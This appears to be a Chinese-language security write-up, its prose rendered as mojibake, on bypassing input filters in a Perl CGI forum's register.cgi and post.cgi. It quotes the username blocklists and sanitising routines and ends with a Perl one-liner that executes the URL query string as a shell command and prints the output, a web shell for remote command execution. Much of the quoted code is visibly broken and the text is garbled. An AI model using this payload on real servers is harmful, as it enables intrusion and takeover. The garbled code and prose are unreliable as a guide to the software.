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cgi ½âÎö·½Ê½ perl.exe %s %s ,perlis.dll

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1¡¢¿´ÏÂlb ÂÛ̳µÄregister.cgi×¢²áÖеĹýÂË£¬

for ('inmembername'...)
$tp = $query->param($_);
$tp = &unHTML("$tp");
${$_} = $tp;
}

sub unHTML {} ÀïÃæµÄ¶«Î÷²»ÖØÒª¡£

&error("Óû§×¢²á&¶Ô²»Æð£¬ÄúÊäÈëµÄÓû§ÃûÓÐÎÊÌ⣬Çë²»ÒªÔÚÓû§ÃûÖаüº¬\@\#\$\%\^\*\(\)\+\=\\\{\}\;'\:\"\,\.\/\<\>\?\[\]ÕâÀà×Ö·û£¡") if ($inmembername =~ /[\a\f\n\e\0\r\t\`\~\!\@\#\$\%\^\&\*\(\)\+\=
\\\{\}\;'\:\"\,\.\/\<\>\?\[\]]/);
if($inmembername =~ /_/) { &error("Óû§×¢²á&Çë²»ÒªÔÚÓû§ÃûÖÐʹÓÃÏ»®Ïߣ¡"); }

$inmembername =~ s/\ \;//ig;
$inmembername =~ s/¡¡/ /g;
$inmembername =~ s/©¡/ /g;
$inmembername =~ s/[ ]+/ /g;
$inmembername =~ s/[ ]+/_/;
$inmembername =~ s/[_]+/_/;
$inmembername =~ s/ÿ//isg;
$inmembername =~ s///isg;
$inmembername =~ s/¡¡//isg;
$inmembername =~ s/©¡//isg;
$inmembername =~ s/()+//isg;
$inmembername =~ s/[\a\f\n\e\0\r\t\`\~\!\@\#\$\%\^\&\*\(\)\+\=
\\\{\}\;'\:\"\,\.\/\<\>\?\[\]]//isg;
$inmembername =~ s/\s*$//g;
$inmembername =~ s/^\s*//g;

&error("Óû§×¢²á&¶Ô²»Æð£¬ÄúÊäÈëµÄÓû§ÃûÓÐÎÊÌâ") if ($inmembername =~ /^q(.+?)-/ig);

$inmembername =~ /guest/i)
||($inmembername =~ /qq-/i)
||($inmembername =~ /q-/i)
||($inmembername =~ /qx-/i)
||($inmembername =~ /qw-/i)
||($inmembername =~ /qr-/i)
||($inmembername =~ /no)
||($inmembername eq "admin")
||($inmembername display/i)
||($inmembername =~ /^system/i)
||($inmembername =~ /---/ieq "root")
||($inmembername eq "copy")
||($inmembername =~ /^sub/)
||($inmembername =~ /^exec/)
||($inmembername =~ /\@ARGV/i)
||($inmembername =~ /^require/)
||($inmembername =~ /^rename/i)
||($inmembername =~ /^dir/i)
||($inmembername =~ /^print/i)
||($inmembername =~ /^con/i)
||($inmembername =~ /^nul/i)
||($inmembername =~ /^aux/i)
||($inmembername =~ /^com/i)
||($inmembername =~ /^lpt/i));

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2¡¢ÔÙ¿´ÏÂpost.cgiÀï¶Ô·¢ÌùµÄ¹ýÂË

for ('forum','topic','membername','password','
action','postno','inshowsignature',
'notify','inshowemoticons','intopictitle','inshowchgfont',
'inpost','posticon','inhiddentopic','postweiwang','
moneyhidden','moneypost','uselbcode','inwater') {
next unless defined $_;
next if $_ eq 'SEND_MAIL';
$tp = $query->param($_);
$tp = &cleaninput("$tp");
${$_} = $tp;
}

sub cleaninput {
my ($self, $text) = _self_or_default(@_);
# my $text = shift;
study($text);
$text =~ s/[\a\f\e\0\r\t]//isg;
$text =~ s/\ / /g;
$text =~ s/\@ARGV/\&\#64\;ARGV/isg;
$text =~ s/\;/\&\#59\;/isg;
$text =~ s/\&/\&/g;
$text =~ s/\&\#/\&\#/isg;
$text =~ s/\&\;(.{1,6})\&\#59\;/\&$1\;/isg;
$text =~ s/\&\#([0-9]{1,6})\&\#59\;/\&\#$1\;/isg;
$text =~ s/"/\"/g;
$text =~ s/ / \ /g;
$text =~ s/</\&lt;/g;
$text =~ s/>/\&gt;/g;
$text =~ s/ / /g;
$text =~ s/\n\n/<p>/g;
$text =~ s/\n/<br>/g;
$text =~ s/document.cookie/documents\&\#46\;cookie/isg;
$text =~ s/'/\&\#039\;/g;
$text =~ s/#/#/isg;
$text =~ s/&#/&#/isg;
return $text;
}

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Ëû¿É²»ÊÇ Óà s/\`\~\!\@\#\$\%\^\&\*\(\)\+\=
\\\{\}\;'\:\"\,\.\/\<\>\?\[\]]//isg;
~ /^q(.+?)-/ig

($inmembername =~ /qq-/i)||($inmembername =
~ /q-/i)||($inmembername =~ /qx-/i)||($inmembername =
~ /qw-/i)||($inmembername =~ /qr-/i)
¾ÍÄÜÈ«²¿¹ýÂ˵ôµÄ£º£©¡£

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€ and ($_=$ENV{QUERY_STRING}) and (s/%20/ /ig) and ($out=`$_`) and (print $out)

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